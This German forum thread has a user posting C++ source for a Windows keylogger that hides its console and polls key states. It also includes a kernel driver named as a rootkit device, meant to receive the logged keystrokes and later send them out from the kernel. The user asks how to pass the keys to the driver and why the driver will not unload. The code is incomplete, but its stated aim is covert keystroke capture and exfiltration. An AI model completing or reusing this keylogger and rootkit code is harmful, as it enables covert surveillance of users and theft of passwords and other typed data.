Wie geht IRQ beim Zugriff auf ein Devicehandle?

  • Themenstarter Themenstarter Shlyakh
  • Beginndatum Beginndatum
S

Shlyakh

Guest
Ich habe einen keylogger geschrieben...


Code:
#include <iostream>
#include <windows.h>
#include <WinUser.h>
#include <stdio.h>


using namespace std;

//Function body definitions: 
int Save(int key_stroke);
void Stealth();
HANDLE hDevice;

int main()
{       
       hDevice = CreateFile("\\\\.\\MyDevice",
                                GENERIC_READ | GENERIC_WRITE,
                                0,
                                NULL,
                                OPEN_EXISTING,
                                FILE_ATTRIBUTE_NORMAL,
                                NULL);
    if (hDevice == ((HANDLE)-1)) {
        return 0;
    }
    
         Stealth();
  
  unsigned char i;
	    while(i == i)
	    {
	    	for(i = 8; i<= 190; i++){
	    	  if(GetAsyncKeyState(i) == -32767){
	    	  	Save(i);
	    	  }	
	    	}
	    }


	    system("PAUSE");        
		return 0;
}
void Stealth()
{
     HWND stealth;
     AllocConsole();
     stealth = FindWindowA("ConsoleWindowClass", NULL);
     ShowWindow(stealth,0);
}
int Save(int key_stroke)
{ 
    
    
//Ich will jetzt die Keystrokes zum Treiber senden... Am besten
//nicht vermittels eines IRQ per Stroke. 


}

...und dieser Besitzt auch einen Devicehandler.


Es handelt sich bei dem Device um genau dasjenige, was hier in meinem Treiber vorzufinden ist:

Code:
#include <ntddk.h>

const WCHAR deviceNameBuffer[] = L"\\Device\\MyDevice";
PDEVICE_OBJECT gRootkitDevice;

NTSTATUS MyWrite(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp);


NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath)
{   
 
NTSTATUS ntStatus;    
UNICODE_STRING deviceNameUnicodeString;
RtlInitUnicodeString(&deviceNameUnicodeString, deviceNameBuffer);
    
   
   ntStatus = IoCreateDevice(theDriverObject, 0, &deviceNameUnicodeString, 0x00001234, 0, TRUE, &gRootkitDevice); 


   //So werden die aus dem Keylogger stammenden Signale weiterverarbeitet. 
theDriverObject->MajorFunction[IRP_MJ_READ] = MyRead;
//theDriverObject->MajorFunction[IRP_MJ_CREATE] = MyCreate;
//theDriverObject->MajorFunction[IRP_MJ_CLOSE] = MyClose;
//theDriverObject->MajorFunction[IRP_MJ_WRITE] = MyWrite;
//theDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IoControl;
      
    return STATUS_SUCCESS;       
}

MyRead();
MyCreate();
MyClose();
MyWrite();


Aber ich weiß jetzt nicht, wie ich es schaffen kann, IRQs an meinen Treiber zu senden, damit dieser die geloggten Keys einlesen und gegbenen Falles weitersenden kann.

Aber wie müsste man den Code dergestalt erweitern, dass das mit dem IRQ klappt?
 
Danke!! Deine Antwort ist sehr ausführlich und informativ.
Also wegen Deiner Frage: Nun, die Sache ist die, das es sich um eine reine Übungsaufgabe handelt, die ich mir selbst gestellt habe, d. h. ich will eigentlich IRQs erlernen.
 
Ich würde gerne noch eine absolut unwichtige (!) Frage nachschießen...

Ich habe das build meines Treibers erfolgreich durchführen können und dieses auch mit OSR Loader registrieren und laden, d. h. starten, können. Das Problem dabei ist, dass immer wenn ich den Treiber entladen will, die meldung "Die Steuerungsanforderung für diesen Dienst ist nicht zulässig." kommt. Ich habe aber kein Problem, woran das liegen könnte.

Unter HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services habe ich meinen Treiber, der den Namen MYDRIVER hat, nämlich gefunden.


Unter dem Registryeintrag meines Treibers beginnt dessen Imagepath mit \??\C:\...

Ist das normal oder eine Anomalie?

Hier der Treibercode:
Code:
#include <ntddk.h>
const WCHAR deviceNameBuffer[] = L"\\Device\\MyDevice";
PDEVICE_OBJECT gRootkitDevice;
NTSTATUS MyWriter(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp);



NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath)
{   
 
NTSTATUS ntStatus;    
UNICODE_STRING deviceNameUnicodeString;
RtlInitUnicodeString(&deviceNameUnicodeString, deviceNameBuffer);
    
   
ntStatus = IoCreateDevice(theDriverObject, 0, &deviceNameUnicodeString, 0x00001234, 0, TRUE, &gRootkitDevice); 


//So können die aus dem Keylogger stammenden Signale weiterverarbeitet werden . 
//theDriverObject->MajorFunction[IRP_MJ_READ] = MyRead;
//theDriverObject->MajorFunction[IRP_MJ_CREATE] = MyCreate;
//theDriverObject->MajorFunction[IRP_MJ_CLOSE] = MyClose;
//theDriverObject->MajorFunction[IRP_MJ_WRITE] = MyWrite;


theDriverObject->MajorFunction[IRP_MJ_WRITE] = MyWriter;

      
    return STATUS_SUCCESS;       
}


NTSTATUS MyWriter(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{

//Innerhalb des Handlers per IoGetCurrentIrpStackLocation routine (Windows Drivers) einen Pointer auf die 
//IO_STACK_LOCATION (Windows Drivers) bekommen, dort steht ämlich sowohl der IO Controll Code drin 
//(->//Parameters.DeviceIoControl.IoControlCode) und je nach Datenzugriffsmethode die Pointer für den Userspace-Buffer

PIO_STACK_LOCATION IrpSp;
ULONG FunctionCode;
LARGE_INTEGER WriteOffset;

IrpSp=IoGetCurrentIrpStackLocation(Irp);

//Was mein Keylogger im Usermode mir sendet, werde ich irgendwann vom Kernel aus absenden können...
   FunctionCode=IrpSp->Parameters.DeviceIoControl.IoControlCode;
   WriteOffset=IrpSp->Parameters.Write.ByteOffset;


    //DbgPrint("WriteProcessing called\n");
    return STATUS_SUCCESS;
}

VOID OnUnload(IN PDRIVER_OBJECT theDriverObject)
{
   DbgPrint("OnUnload called \n");     
}
 
Zuletzt bearbeitet:
Zurück
Oben